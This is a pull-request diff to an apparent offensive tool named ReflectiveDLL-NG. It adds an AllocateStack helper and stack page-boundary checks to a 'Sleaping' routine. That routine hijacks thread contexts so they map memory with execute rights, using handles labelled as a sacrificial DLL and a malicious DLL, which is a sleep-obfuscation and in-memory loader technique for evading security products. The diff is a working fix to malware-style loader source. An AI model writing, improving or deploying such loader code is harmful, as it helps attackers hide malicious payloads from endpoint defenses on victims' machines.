Skip to content
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
77 changes: 77 additions & 0 deletions RflDllOb-NG/ReflectiveDLL-NG - 2025/sleaping.h
Original file line number Diff line number Diff line change
Expand Up @@ -3,6 +3,48 @@
#include <Windows.h>
#include "headers.h"

/**
* Ensures that the specified stack address is committed and writable.
* * This function handles cases where manual stack manipulation (e.g., thread hijacking)
* targets an address that resides in a reserved page or a guard page, which would
* otherwise trigger an EXCEPTION_ACCESS_VIOLATION (C0000005).
*/
BOOLEAN AllocateStack(HANDLE hProcess, ULONG_PTR target_addr) {
MEMORY_BASIC_INFORMATION mbi;

// Align the target address to the start of the 4KB page boundary.
target_addr &= ~((UINT64)0xfff);

// 1. Query the memory region containing the target address to determine its state.
// This allows us to check if the page is already COMMITTED, RESERVED, or a GUARD page.
if (VirtualQueryEx(hProcess, (LPCVOID)target_addr, &mbi, sizeof(mbi)) == 0) {
return FALSE;
}

// 2. Evaluate if the page requires intervention.
// Intervene if:
// - State is MEM_RESERVE: The address space is allocated but lacks physical backing.
// - Protect has PAGE_GUARD: This is a stack's growth boundary; writing here triggers a crash
// if not handled by the OS exception handler.
// - Access is not PAGE_READWRITE: The page exists but cannot be written to.
if (mbi.State != MEM_COMMIT || (mbi.Protect & PAGE_GUARD) || !(mbi.Protect & PAGE_READWRITE)) {

// Attempt to COMMIT the memory. For the thread's stack, this converts the
// MEM_RESERVE region (allocated during CreateThread) into accessible physical memory.
if (!VirtualAllocEx(hProcess, (LPVOID)target_addr, 0x1000, MEM_COMMIT, PAGE_READWRITE)) {

// If explicit commitment fails, attempt to strip protection flags (e.g., PAGE_GUARD)
// or upgrade permissions (e.g., from PAGE_READONLY to PAGE_READWRITE).
DWORD oldProtect;
if (!VirtualProtectEx(hProcess, (LPVOID)target_addr, 0x1000, PAGE_READWRITE, &oldProtect)) {
// Return FALSE if the address is truly invalid or access is denied by the OS kernel.
return FALSE;
}
}
}

return TRUE;
}

/*-----------------------------------------------------------*/

Expand Down Expand Up @@ -103,6 +145,29 @@ int Sleaping(PVOID ImageBaseDLL, HANDLE sacDllHandle, HANDLE malDllHandle, SIZE_
(*contextB).Rdx = FILE_MAP_ALL_ACCESS;
(*contextB).R8 = (DWORD64)0x00;
(*contextB).R9 = (DWORD64)0x00;

/*
* PAGE BOUNDARY CHECK (Stack Extension Fix)
* -----------------------------------------
* On x64, arguments 5 and 6 must be placed on the stack at RSP+40 and RSP+48.
* If RSP is near the end of a committed page (e.g., 0x...FFF8), adding 40 bytes
* pushes the target address into the next virtual memory page.
*
* Because this is a manual write via pointer dereferencing (not a 'push' instruction),
* the CPU does not trigger the standard 'Guard Page' exception to grow the stack.
* Instead, it hits a 'Reserved' page and triggers an EXCEPTION_ACCESS_VIOLATION.
*/
if (((contextB->Rsp + 40) >> 12) > (contextB->Rsp >> 12) ||
((contextB->Rsp + 48) >> 12) > (contextB->Rsp >> 12))
{
// Manually commit the next page in the stack region to ensure it is writable.
// ((HANDLE)(LONG_PTR)-1) targets the current process.
if (AllocateStack((HANDLE)-1, contextB->Rsp + 40) == FALSE)
return -1;
}


// Now safe to write stack-based arguments (Arg 5 and Arg 6)
*(ULONG_PTR*)((*contextB).Rsp + 40) = 0x00; //the offset must be either hex 28 or int 40
*(ULONG_PTR*)((*contextB).Rsp + 48) = (ULONG_PTR)ImageBaseDLL;

Expand All @@ -113,6 +178,18 @@ int Sleaping(PVOID ImageBaseDLL, HANDLE sacDllHandle, HANDLE malDllHandle, SIZE_
(*contextD).Rdx = FILE_MAP_ALL_ACCESS | FILE_MAP_EXECUTE;
(*contextD).R8 = (DWORD64)0x00;
(*contextD).R9 = (DWORD64)0x00;

/* * Repeat page boundary verification for thread 3 stack context.
* This ensures the memory page spanning RSP+40 to RSP+48 is COMMITTED.
*/
if (((contextD->Rsp + 40) >> 12) > (contextD->Rsp >> 12) ||
((contextD->Rsp + 48) >> 12) > (contextD->Rsp >> 12))
{
if (AllocateStack((HANDLE)-1, contextD->Rsp + 40) == FALSE)
return -1;
}

// Write arguments to the confirmed valid memory region
*(ULONG_PTR*)((*contextD).Rsp + 40) = 0x00; //the offset must be either hex 28 or int 40
*(ULONG_PTR*)((*contextD).Rsp + 48) = (ULONG_PTR)ImageBaseDLL;

Expand Down